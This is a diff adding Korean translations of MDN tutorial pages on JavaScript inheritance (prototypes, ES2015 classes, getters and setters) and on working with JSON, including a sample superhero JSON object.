+<p>제일 처음 단계에서는 <code>Teacher()</code> 생성자를 만들어야 합니다 — 기존 코드 밑에 아래 코드를 추가하세요:</p>
+
+<pre class="brush: js">function Teacher(first, last, age, gender, interests, subject) {
+  Person.call(this, first, last, age, gender, interests);
+
+  this.subject = subject;
+}</pre>
+
+<p>Person() 생성자와 여러모로 비슷해 보이지만 여지껏 보지 못했던 한가지 차이점이 있습니다 — <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code> 함수죠. call() 함수의 첫번째 매개변수는 다른 곳에서 정의된 함수를 현재 컨텍스트에서 실행할 수 있도록 합니다. 실행하고자 하는 함수의 첫 번째 매개변수로 this를 전달하고 나머지는 실제 함수 실행에 필요한 인자들을 전달하면 됩니다.</p>
+
+<p>Teacher()의 생성자는 <code>Person()</code>을 상속받았으므로 같은 매개변수들이 필요합니다. 따라서 동일한 매개변수들을 <code>call()</code>의 인자로 전달하여 실행합니다.</p>
+
+<p>마지막 줄에서는 새 속성인 <code>subject</code>를 정의하여 Person이 아닌 Teacher만이 갖는 속성을 만들어 줍니다.</p>
+
+<p>참고로 아래와 같이 할 수도 있습니다:</p>
+
+<pre class="brush: js">function Teacher(first, last, age, gender, interests, subject) {
+  this.name = {
+    first,
+    last
+  };
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+  this.subject = subject;
+}</pre>
+
+<p>다만 이는 <code>Person()</code>을 상속받은게 아니라 단지 동일한 인자를 정의했을 뿐이죠. 이건 원하는 방법이 아닐 뿐더러 코드의 길이만 더 늘어났습니다.</p>
+
+<h3 id="매개변수가_없는_생성자_상속하기">매개변수가 없는 생성자 상속하기</h3>
+
+<p>상속하려는 생성자가 속성을 매개변수로 받지 않는다면 <code>call()</code>의 매개변수에도 아무것도 전달할 필요가 없습니다. 아래처럼 간단한 생성자가 있다면:</p>
+
+<pre class="brush: js">function Brick() {
+  this.width = 10;
+  this.height = 20;
+}</pre>
+
+<p><code>width</code>와 <code>height</code> 속성을 상속받기 위해 아래처럼만 하면 됩니다(물론 이후 설명할 방법을 써도 되구요):</p>
+
+<pre class="brush: js">function BlueGlassBrick() {
+  Brick.call(this);
+
+  this.opacity = 0.5;
+  this.color = 'blue';
+}</pre>
+
+<p><code>call() </code>함수에 this만 넘긴 것을 보세요. — <code>Brick()</code> 생성자에서 매개변수를 통해 초기화 하는 속성들이 없으므로 <code>call()</code>에도 넘길 필요가 없습니다.</p>
+
+<h2 id="Teacher()의_프로토타입과_생성자_참조_설정하기">Teacher()의 프로토타입과 생성자 참조 설정하기</h2>
+
+<p>다 좋은데 문제가 있습니다. 방금 정의한 새 생성자에는 생성자 함수 자신에 대한 참조만 가지고 있는 프로토타입 속성이 할당되어 있습니다. 정작 상속 받은 Person() 생성자의 prototype 속성은 없죠. Javascript 콘솔에서 <code>Object.getOwnPropertyNames(Teacher.prototype)</code>을 쳐서 확인해 보세요. 다음엔 <code>Teacher</code>를 <code>Person</code>으로 바꿔서 확인해 보세요. Teacher()생성자는 Person()의 메소드를 상속받지 못하였습니다. <code>Person.prototype.greeting</code>과 <code>Teacher.prototype.greeting</code> 구문을 실행하여 비교해 보세요. <code>Teacher()</code>가 메소드도 상속 받으려면 어떻게 해야 할까요?</p>
+
+<ol>
+ <li>기존 코드에 아래 코드를 추가하세요:
+  <pre class="brush: js">Teacher.prototype = Object.create(Person.prototype);</pre>
+  구원 투수 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code>의 등판입니다.  새 객체를 생성하여 <code>Teacher.prototype</code>으로 할당했죠. 새 객체는 <code>Person.prototype</code> 객체를 자신의 프로토타입으로 가지고 있으므로 <code>Person.prototype</code>에 정의된 모든 메소드를 사용할 수 있습니다.</li>
+ <li>넘어가기 전에 한가지 더 해야 합니다. 마지막 줄을 추가하고 나면 <code>Teacher.prototype</code>의 <code>constructor</code> 속성이 Person()으로 되어 있습니다. <code>Teacher.prototype</code>에 <code>Person.prototype</code>을 상속받은 객체를 할당했기 때문이죠. 코드를 저장한 뒤 브라우저로 불러와서 Teacher.prototype.constructor 구문의 반환 값을 확인해 보세요.</li>
+ <li>문제의 소지가 있으므로 고쳐야 됩니다. 소스에 아래 코드를 추가하세요:
+  <pre class="brush: js">Teacher.prototype.constructor = Teacher;</pre>
+ </li>
+ <li>저장하고 다시 브라우저에서 불러오면 의도한대로 <code>Teacher.prototype.constructor</code>가 <code>Teacher()</code>를 반환합니다. 게다가 <code>Person()</code>도 상속받았죠!</li>
+</ol>
+
+<h2 id="Teacher()에_새_greeting()_함수_부여하기">Teacher()에 새 greeting() 함수 부여하기</h2>
+
+<p><code>Teacher()</code>에 새로운 <code>greeting()</code> 함수를 정의하여 코드를 완성합시다.</p>
+
+<p>가장 간단한 방법은 Teacher()의 프로토타입에 정의합니다. — 아래 코드를 추가하세요:</p>
+
+<pre class="brush: js">Teacher.prototype.greeting = function() {
+  var prefix;
+
+  if (this.gender === 'male' || this.gender === 'Male' || this.gender === 'm' || this.gender === 'M') {
+    prefix = 'Mr.';
+  } else if (this.gender === 'female' || this.gender === 'Female' || this.gender === 'f' || this.gender === 'F') {
+    prefix = 'Mrs.';
+  } else {
+    prefix = 'Mx.';
+  }
+
+  alert('Hello. My name is ' + prefix + ' ' + this.name.last + ', and I teach ' + this.subject + '.');
+};</pre>
+
+<p>조건문을 이용해서 성별에 따라 적절한 호칭이 붙은 교사의 인삿말을 alert 창으로 띄웁니다.</p>
+
+<h2 id="예제_사용해_보기">예제 사용해 보기</h2>
+
+<p>소스를 환성했으니 아래 코드를 통해 새 <code>Teacher()</code> 인스턴스를 생성해 봅시다(아니면 인자를 원하는 값으로 변경하시거나요):</p>
+
+<pre class="brush: js">var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');</pre>
+
+<p>저장한 코드를 다시 불러와서 아래처럼 <code>teacher1</code>의 속성과 메소드를 확인해 봅시다:</p>
+
+<pre class="brush: js">teacher1.name.first;
+teacher1.interests[0];
+teacher1.bio();
+teacher1.subject;
+teacher1.greeting();
+teacher1.farewell();</pre>
+
+<p>아주 잘 실행될 겁니다. 1, 2, 3, 6 줄은 Person() 생성자(클래스)에서 상속 받은 멤버에 접근합니다. 4번째 줄은 Teacher() 생성자(클래스)만 가지고 있는 멤버에 접근합니다. 5번째 줄은 Person()에서 상속 받은 멤버도 있지만 Teacher()가 이미 자신만의 새 메소드를 정의했으므로 Teacher()의 메소드에 접근합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 코드가 잘 동작하지 않으면 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">완성된 버전</a>을 확인해 보세요. (<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html">실행 페이지</a>도 보시구요).</p>
+</div>
+
+<p>이 테크닉이 Javascript에서 상속 받는 클래스를 만드는 유일한 방법은 아니지만 잘 동작하며 상속을 구현하는 방법을 잘 설명하고 있습니다.</p>
+
+<p>조금 더 명확한 방식으로 Javascript에서 상속을 구현하는 새 {{glossary("ECMAScript")}} 기능도 관심 가질만한 주제입니다(<a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a> 참조). 아직까지 많은 브라우저에서 지원하지 못하고 있기 때문에 여기서 다를 주제는 아닙니다. 여러 문서에서 제시한 코드들은 IE9보다 더 오래된 구형 브라우저에서도 사용 가능하며 더 이전 버전을 지원하기 위한 방법들도 있습니다. </p>
+
+<p>JavaScript 라이브러리를 쓰면 간단합니다 — 상속 기능을 사용하기 위한 보편적인 방법이죠. 예를들어 <a href="http://coffeescript.org/#classes">CoffeeScript</a>는 <code>class</code>와 <code>extends</code>등의 기능을 제공합니다.</p>
+
+<h2 id="더_연습하기">더 연습하기</h2>
+
+<p><a href="/ko/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">OOP theory section</a>, 에서는 개념적으로 Person을 상속받고 Teacher보다 덜 공손한 <code>greeting()</code> 메소드를 재정의한 <code>Student</code> 클래스를 정의했었습니다. 해당 절에서 <code>Student</code>의 인삿말이 어땠는지 확인해 보시고 <code>Person()</code>을 상속받는 <code>Student()</code> 생성자를 구현해 보세요. <code>greeting()</code> 함수도 재정의 해 보시구요.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 코드가 잘 동작하지 않으면 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html">완성된 버전</a> 을 확인해 보세요.(<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">실행 페이지</a>도 보시구요).</p>
+</div>
+
+<h2 id="객체_멤버_요약">객체 멤버 요약</h2>
+
+<p>요약하면, 상속에 있어 고려해야 할 세 가지 유형의 속성/메소드가 있습니다:</p>
+
+<ol>
+ <li>생성자 함수 내에서 인스턴스에 정의하는 유형. 직접 작성한 코드에서는 생성자 함수 내에 <code>this.x = x</code> 구문과 유사하게 정의되어 있으므로 발견하기 쉽습니다. 브라우저 내장 코드에서는 객체 인스턴스(보통 <code>new</code> 키워드를 통해 생성, ex) <code>var myInstance = new myConstructor()</code>)에서만 접근할 수 있는 멤버입니다.</li>
+ <li>생성자에 직접 정의하는 유형, 생성자에서만 사용 가능합니다. 브라우저 내장 객체에서 흔히 사용하는 방식인데, 인스턴스가 아니라 생성자 함수에서 바로 호출되는 유형입니다. <code>Object.key()</code> 같은 함수들이죠.</li>
+ <li>인스턴스와 자식 클래스에 상속하기 위해 생성자의 프로토타입에 정의하는 유형. 생성자의 프로토타이비 속성에 정의되는 모든 멤버를 의미합니다. ex) <code>myConstructor.prototype.x()</code>.</li>
+</ol>
+
+<p>뭐가 뭔지 헷갈려도 걱정하지 마세요 — 배우는 중이니 차츰 익숙해질겁니다.</p>
+
+<h2 id="ECMAScript_2015_클래스">ECMAScript 2015 클래스</h2>
+
+<p>ECMAScript 2015에서는 C++나 Java와 유사한 <a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스 문법</a>을 공개하여 클래스를 조금 더 쉽고 명확하게 재활용 할 수 있게 되었습니다. 이 절에서는 프로토타입 상속으로 작성한 Person과 Teacher 예제를 클래스 문법으로 변경하고 어떻게 동작하는지 설명하겠습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 대부분의 최신 브라우저에서 새로운 클래스 작성 방식을 지원합니다만 일부 구형 브라우저(Internet Explorer가 대표적)에서는 동작하지 않으므로 하위호환성을 위해 프로토타입 상속을 배워둘 필요가 있습니다.</p>
+</div>
+
+<p>Class-스타일로 재작성한 Person 예제를 보시죠:</p>
+
+<pre><code>class Person {
+  constructor(first, last, age, gender, interests) {
+    this.name = {
+      first,
+      last
+    };
+    this.age = age;
+    this.gender = gender;
+    this.interests = interests;
+  }
+
+  greeting() {
+    console.log(`Hi! I'm ${this.name.first}`);
+  };
+
+  farewell() {
+    console.log(`${this.name.first} has left the building. Bye for now!`);
+  };
+}</code></pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Statements/class">class</a> 구문은 새로운 클래스를 작성함을 의미합니다. Class 블록 내에서 모든 기능을 정의할 수 있습니다.</p>
+
+
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Classes/constructor">constructor()</a></code> 메소드는 <code>Person</code> 클래스의 생성자를 의미합니다.</li>
+ <li><code>greeting()</code> and <code>farewell()</code>는 멤버 메소드입니다. 클래스의 메소드는 생성자 다음에 아무 메소드나 추가할 수 있습니다. 여기서는 읽기 쉬우라고 string 결합이 아닌 <a href="/ko/docs/Web/JavaScript/Reference/Template_literals">template literals</a>을 사용했습니다.</li>
+</ul>
+
+<p>이제 위에서 했듯이 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>로 객체 인스턴스를 생성할 수 있습니다:</p>
+
+<pre><code>let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);
+han.greeting();
+// Hi! I'm Han
+
+let leia = new Person('Leia', 'Organa', 19, 'female' ['Government']);
+leia.farewell();
+// Leia has left the building. Bye for now</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: 코드를 까보면 class 부분은 프로토타입 상속으로 변환이 됩니다. — 문법 설탕(syntactic sugar)의 일종인거죠. 하지만 읽기 쉽다는데 대부분 동의하실 겁니다.</p>
+</div>
+
+<h3 id="class_문법으로_상속">class 문법으로 상속</h3>
+
+<p>위에서 사람을 나타내는 클래스를 만들었습니다. Person 클래스는 일반적인 사람이 가질 만한 특성들을 나열하고 있죠; 이 절에서는 <code>Person</code>을 class 문법으로 상속받아 <code>Teacher</code> 클래스를 만들 예정입니다. 이 작업을 하위 클래스 생성이라 부릅니다.</p>
+
+<p>하위 클래스를 만드려면 Javascript에서 <a href="/ko/docs/Web/JavaScript/Reference/Classes/extends">extends 키워드</a>를 통해 상속 받을 클래스를 명시합니다.</p>
+
+<pre><code>class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    this.name = {
+      first,
+      last
+    };
+
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+  // subject and grade are specific to Teacher
+  this.subject = subject;
+  this.grade = grade;
+  }
+}</code></pre>
+
+<p><code>constructor()</code>에서 첫번쨰로 <a href="/ko/docs/Web/JavaScript/Reference/Operators/super"><code>super()</code> 연산자</a>를 정의하면 코드를 조금 더 읽기 쉬워집니다. 이는 상위 클래스의 생성자를 호출하며 super()의 매개변수를 통해 상위 클래스의 멤버를 상속받을 수 있는 코드입니다.</p>
+
+<pre><code>class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    super(first, last, age, gender, interests);
+
+    // subject and grade are specific to Teacher
+    this.subject = subject;
+    this.grade = grade;
+  }
+}</code></pre>
+
+<p><code>Teacher</code>의 인스턴스를 생성하면 의도한대로 이제 <code>Teacher</code>와 <code>Person</code> 양 쪽의 메소드와 속성을 사용할 수 있습니다.</p>
+
+<pre><code>let snape = new Teacher('Severus', 'Snape', 58, 'male', ['Potions'], 'Dark arts', 5);
+snape.greeting(); // Hi! I'm Severus.
+snape.farewell(); // Severus has left the building. Bye for now.
+snape.age // 58
+snape.subject; // Dark arts</code></pre>
+
+<p>Person을 수정하지 않고 Teacher를 생성한 것처럼 또 다른 하위클래스도 생성할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: GitHub에서 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/es2015-class-inheritance.html">es2015-class-inheritance.html</a> 예제를 참조하세요(<a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/es2015-class-inheritance.html">실행 페이지</a>).</p>
+</div>
+
+<h2 id="Getters와_Setters">Getters와 Setters</h2>
+
+<p>생성한 클래스 인스턴스의 속성 값을 변경하거나 최종 값을 예측할 수 없는 경우가 있을 겁니다. Teacher 예제를 보면 인스턴스를 생성하기 전에는 어떤 과목을 가르칠지 아직 모릅니다. 학기 도중에 가르치는 과목이 변경될 수도 있구요.</p>
+
+<p>이런 상황에 getter/setter가 필요합니다.</p>
+
+<p>Teacher 클래스에 getter/setter를 추가해 봅시다. 마지막에 작성했던 예제를 그대로 사용해보죠.</p>
+
+<p>Getter와 setter는 쌍으로 동작합니다. Getter가 현재 값을 반환한다면 그에 대응하는 setter는 해당하는 값을 변경합니다.</p>
+
+<p>수정된 <code>Teacher</code> 클래스는 아래와 같습니다:</p>
+
+<pre><code>class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    super(first, last, age, gender, interests);
+    // subject and grade are specific to Teacher
+    this._subject = subject;
+    this.grade = grade;
+  }
+
+  get subject() {
+    return this._subject;
+  }
+
+  set subject(newSubject) {
+    this._subject = newSubject;
+  }
+}</code></pre>
+
+<p>위 클래스를 보시면 <code>subject</code> 속성에 대해 getter와 setter가 생겼습니다. 멤버 변수에는 _를 붙여 getter/setter와 구분을 하였습니다. 이렇게 하지 않으면 get/set을 호출할때마다 에러가 발생합니다:</p>
+
+<ul>
+ <li><code>snape</code> 객체의 <code>_subject</code> 속성 값을 보려면 <code>snape._subject</code>를 실행합니다.</li>
+ <li>To show the current value of the <code>_subject</code> property of the <code>snape</code> object we can use <code>snape._subject</code>.</li>
+ <li><code>_subject</code>에 새 값을 할당하려면 <code>snape._subject="new value"</code>를 실행합니다.</li>
+</ul>
+
+<p>두 기능이 실제로 어떻게 작동하는지 아래를 참조하세요:</p>
+
+<pre><code>// Check the default value
+console.log(snape._subject) // Returns "Dark arts"
+
+// Change the value
+snape._subject="Balloon animals" // Sets subject to "Balloon animals"
+
+// Check it again and see if it matches the new value
+console.log(snape._subject) // Returns "Balloon animals"</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: GitHub에서 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/es2015-getters-setters.html">es2015-getters-setters.html</a> 예제를 참조하세요(<a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/es2015-getters-setters.html">실행 페이지</a>).</p>
+</div>
+
+<h2 id="JavaScript에서_언제_상속을_사용해야_할까">JavaScript에서 언제 상속을 사용해야 할까?</h2>
+
+<p>이 마지막 문서를 읽고 나면 "뭐가 이리 어렵냐"고 생각하실지도 모르겠습니다. 어렵긴 합니다 프로토타입과 상속은 Javascript에서 가장 난해한 부분이거든요. 하지만 이 부분은 Javascript가 강력하고 유연한 언어로써 작용할 수 있는 원동력이기에 충분한 시간을 들여 배울 가치가 있습니다.</p>
+
+<p>어찌보면 여러분은 항상 상속하고 있었습니다. Web API나 브라우저 내장 객체인 string, array 등의 메소드/속성을 사용하면서 암묵적으로 상속을 사용하고 있었던거죠.</p>
+
+<p>처음 시작하거나 작은 프로젝트에서 직접 상속을 구현하는 코드를 작성하는 경우는 그리 많지 않습니다. 필요하지도 않는데 상속을 위한 코드를 구현하는 건 시간 낭비에 불과하죠. 하지만 코드량이 많아질수록 상속이 필요한 경우가 생깁니다. 동일한 기능을 가진 클래스가 많아졌음을 발견했다면 기능들을 한데 묶어 공유할 수 있도록 일반 객체를 만들고 특이 객체들에게 상속하는 방식이 훨씬 편하고 유용하다는 점을 알 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Javascript에서는 프로토타입을 통해 상속이 구현되어 있어 이 방식을 흔히 <strong>위임</strong>이라고 표현합니다. 특이 객체들이 일반 객체에게 일부 기능의 실행을 위임하는 것이죠.</p>
+</div>
+
+<p>상속을 구현할때 상속 레벨을 너무 깊게 하지 말고, 메소드와 속성들이 정확히 어디에 구현되어 있는지 항상 인지해야 합니다. 브라우저 내장 객체의 prototype 역시 일시적으로 수정이 가능하지만 정말로 필요한 경우를 제외하고는 건드리지 말아야 합니다. 너무 깊은 상속은 디버그 할 때 끝없는 혼돈과 고통만을 줄 겁니다.</p>
+
+<p>궁극적으로 객체는 함수나 반복문과 같이 고유한 역할과 장점을 지닌 채 코드를 재사용하는 또 다른 방법입니다. 서로 연관된 변수와 함수들을 하나로 묶어 다룰 필요가 있을때 객체가 좋은 아이디어입니다. 한 곳에서 다른 곳으로 데이터 집합을 전달할 때에도 객체가 유용합니다. 두가지 모두 생성자나 상속 없이도 가능한 일입니다. 딱 하나의 인스턴스만 필요할 경우 객체를 선언하지 않고 객체 리터럴만으로도 충분합니다. 당연히 상속은 필요없구요.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 글에서는 여러분들이 반드시 알아야 할 OOJS 이론과 문법의 나머지 부분에 대해 다루고 있습니다. 이 시점에서 여러분은 javascript 객체와 OOP 기초, 프로토타입과 프로토타입 상속, 클래스(생성자)를 만들고 인스턴스를 생성하며 기능을 추가하고, 다른 클래스를 상속 받아 하위 클래스를 만드는 방법을 배웠습니다.</p>
+
+<p>다음 글에서는 Javascript 객체로 데이터를 교환하는 방식인 Javascript Object Notation(JSON)에 대해 알아봅시다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.objectplayground.com/">ObjectPlayground.com</a> — A really useful interactive learning site for learning about objects.</li>
+ <li><a href="https://www.amazon.com/gp/product/193398869X/">Secrets of the JavaScript Ninja</a>, Chapter 6 — A good book on advanced JavaScript concepts and techniques, by John Resig and Bear Bibeault. Chapter 6 covers aspects of prototypes and inheritance really well; you can probably track down a print or online copy fairly easily.</li>
+ <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&amp;%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes">You Don't Know JS: this &amp; Object Prototypes</a> — Part of Kyle Simpson's excellent series of JavaScript manuals, Chapter 5 in particular looks at prototypes in much more detail than we do here. We've presented a simplified view in this series of articles aimed at beginners, whereas Kyle goes into great depth and provides a more complex but more accurate picture.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/objects/json/index.html b/files/ko/learn/javascript/objects/json/index.html
new file mode 100644
index 0000000000..a9d5751319
--- /dev/null
+++ b/files/ko/learn/javascript/objects/json/index.html
@@ -0,0 +1,351 @@
+---
+title: JSON으로 작업하기
+slug: Learn/JavaScript/Objects/JSON
+tags:
+  - JSON
+  - JSON 객체
+  - JSON 문자열로 변환
+  - 입문자
+  - 초보자
+translation_of: Learn/JavaScript/Objects/JSON
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">JavaScript Object Notation (JSON)은 Javascript 객체 문법으로 구조화된 데이터를 표현하기 위한 문자 기반의 표준 포맷입니다. 웹 어플리케이션에서 데이터를 전송할 때 일반적으로 사용합니다(서버에서 클라이언트로 데이터를 전송하여 표현하려거나 반대의 경우). 여기저기서 자주 보았을테니 여기선 JSON을 파싱, 데이터에 접근하고 JSON을 생성하는 등 Javascript로 JSON을 다루는 법에 대해 알아봅시다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전지식:</th>
+   <td>컴퓨터 기초, HTML과 CSS에 대한 기본 지식, Javascript 기초 (<a href="/en-US/docs/Learn/JavaScript/First_steps">First steps</a>과 <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Building blocks</a> 참조), OOJS 기초 (<a href="/en-US/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction to objects</a> 참조).</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>JSON에 담긴 데이터를 이용하는 법과 JSON 객체 생성하는 법에 대해 알아보기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="아니_대체_JSON이_뭐죠">아니, 대체 JSON이 뭐죠?</h2>
+
+<p>{{glossary("JSON")}} 는 <a href="https://en.wikipedia.org/wiki/Douglas_Crockford">Douglas Crockford</a>가 널리 퍼뜨린 Javascript 객체 문법을 따르는 문자 기반의 데이터 포맷입니다. JSON이 Javascript 객체 문법과 매우 유사하지만 딱히 Javascript가 아니더라도  JSON을 읽고 쓸 수 있는 기능이 다수의 프로그래밍 환경에서 제공됩니다.</p>
+
+<p>JSON은 문자열 형태로 존재합니다 — 네트워크를 통해 전송할 때 아주 유용하죠. 데이터에 억세스하기 위해서는 네이티브 JSON 객체로 변환될 필요가 있습니다. 별로 큰 문제는 아닌 것이 Javascript는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> 전역 객체를 통해 문자열과 JSON 객체의 상호변환을 지원합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 문자열에서 네이티브 객체로 변환하는 것은 파싱(Parsing)이라고 합니다. 네트워크를 통해 전달할 수 있게 객체를 문자열로 변환하는 과정은 문자열화(Stringification)이라고 합니다.</p>
+</div>
+
+<p>개별 JSON 객체를 <code>.json</code> 확장자를 가진 단순 텍스트 파일에 저장할 수 있습니다. {{glossary("MIME 타입")}}은 <code>application/json</code> 입니다.</p>
+
+<h3 id="JSON_구조">JSON 구조</h3>
+
+<p>위에서 설명했듯이 JSON은 Javascript 객체 리터럴 문법을 따르는 문자열입니다. JSON 안에는 마찬가지로 Javascript의 기본 데이터 타입인 문자열, 숫자, 배열, 불리언 그리고 다른 객체를 포함할 수 있습니다. 이런 방식으로 여러분은 데이터 계층을 구축할 수 있습니다, 아래 처럼요.</p>
+
+<pre class="brush: json notranslate">{
+  "squadName": "Super hero squad",
+  "homeTown": "Metro City",
+  "formed": 2016,
+  "secretBase": "Super tower",
+  "active": true,
+  "members": [
+    {
+      "name": "Molecule Man",
+      "age": 29,
+      "secretIdentity": "Dan Jukes",
+      "powers": [
+        "Radiation resistance",
+        "Turning tiny",
+        "Radiation blast"
+      ]
+    },
+    {
+      "name": "Madame Uppercut",
+      "age": 39,
+      "secretIdentity": "Jane Wilson",
+      "powers": [
+        "Million tonne punch",
+        "Damage resistance",
+        "Superhuman reflexes"
+      ]
+    },
+    {
+      "name": "Eternal Flame",
+      "age": 1000000,
+      "secretIdentity": "Unknown",
+      "powers": [
+        "Immortality",
+        "Heat Immunity",
+        "Inferno",
+        "Teleportation",
+        "Interdimensional travel"
+      ]
+    }
+  ]
+}</pre>
+
+<p>이 객체를 Javascript 프로그램에서 로드하고, 예를 들어 <code>superHeroes</code>라는 이름의 변수에 파싱하면 <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a> 문서에서 보았던 것처럼 점/브라켓 표현법을 통해 객체 내 데이터에 접근할 수 있게 됩니다. 아래와 같이요:</p>
+
+<pre class="brush: js notranslate">superHeroes.homeTown
+superHeroes['active']</pre>
+
+<p>하위 계층의 데이터에 접근하려면, 간단하게 프로퍼티 이름과 배열 인덱스의 체인을 통해 접근하면 됩니다. 예를 들어 superHeroes의 두 번째 member의 세 번째 power에 접근하려면 아래와 같이 하면 됩니다.</p>
+
+<pre class="brush: js notranslate">superHeroes['members'][1]['powers'][2]</pre>
+
+<ol>
+ <li>우선 변수 이름은 — <code>superHeroes</code>입니다.</li>
+ <li><code>members</code> 프로퍼티에 접근하려면, <code>["members"]</code>를 입력합니다.</li>
+ <li><code>members</code>는 객체로 구성된 배열입니다. 두 번째 객체에 접근할 것이므로 <code>[1]</code>를 입력합니다.</li>
+ <li>이 객체에서 <code>powers</code> 프로퍼티에 접근하려면 <code>["powers"]</code>를 입력합니다.</li>
+ <li><code>powers</code> 프로퍼티 안에는 위에서 선택한 hero의 superpower들이 있습니다. 세 번째 것을 선택해야 하므로 <code>[2]</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: 위에서 볼 수 있듯  <a href="http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html">JSONTest.html</a> 예제에서 JSON 내 변수(<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html">source code</a> 참고)를 만들었다. 당신 브라우저의 Javascript 콘솔을 통하여 이 코드를 로드하고 그 변수 안에  얻을 수 있는 데이터에 접근해보자.</p>
+</div>
+
+<h3 id="JSON에서의_배열">JSON에서의 배열</h3>
+
+<p>앞서 JSON 텍스트는 기본적으로 자바스크립트의 오브젝트와 비슷하게 생겼다고 언급하였습니다. 그리고 그것은 대부분 맞습니다. "대부분 맞다"라고 말한 이유는 자바스크립트의 배열 또한 JSON에서 유효하기 때문입니다.</p>
+
+<pre class="brush: json notranslate">[
+  {
+    "name": "Molecule Man",
+    "age": 29,
+    "secretIdentity": "Dan Jukes",
+    "powers": [
+      "Radiation resistance",
+      "Turning tiny",
+      "Radiation blast"
+    ]
+  },
+  {
+    "name": "Madame Uppercut",
+    "age": 39,
+    "secretIdentity": "Jane Wilson",
+    "powers": [
+      "Million tonne punch",
+      "Damage resistance",
+      "Superhuman reflexes"
+    ]
+  }
+]</pre>
+
+<p>위 예제는 완벽히 올바른 형태의 JSON입니다. 배열의 요소(파싱된 버전)에 접근하기 위해서는 배열의 인덱스를 사용하면 됩니다. <code>[0]["powers"][0]</code> 와 같이 말이죠.</p>
+
+<h3 id="Other_notes">Other notes</h3>
+
+<ul>
+ <li>JSON은 순수히 데이터 포맷입니다. 오직 프로퍼티만 담을 수 있습니다. 메서드는 담을 수 없습니다.</li>
+ <li>JSON은 문자열과 프로퍼티의 이름 작성시 큰 따옴표만을 사용해야 합니다. 작은 따옴표는 사용불가합니다.</li>
+ <li>콤마나 콜론을 잘못 배치하는 사소한 실수로 인해 JSON파일이 잘못되어 작동하지 않을 수 있습니다. <a href="http://jsonlint.com/">JSONLint</a>같은 어플리케이션을 사용해 JSON 유효성 검사를 할 수 있습니다.</li>
+ <li>JSON은 JSON내부에 포함할 수 있는 모든 형태의 데이터 타입을 취할 수 있습니다. 즉, 배열이나 오브젝트 외에도 단일 문자열이나 숫자또한 유효한 JSON 오브젝트가 됩니다.</li>
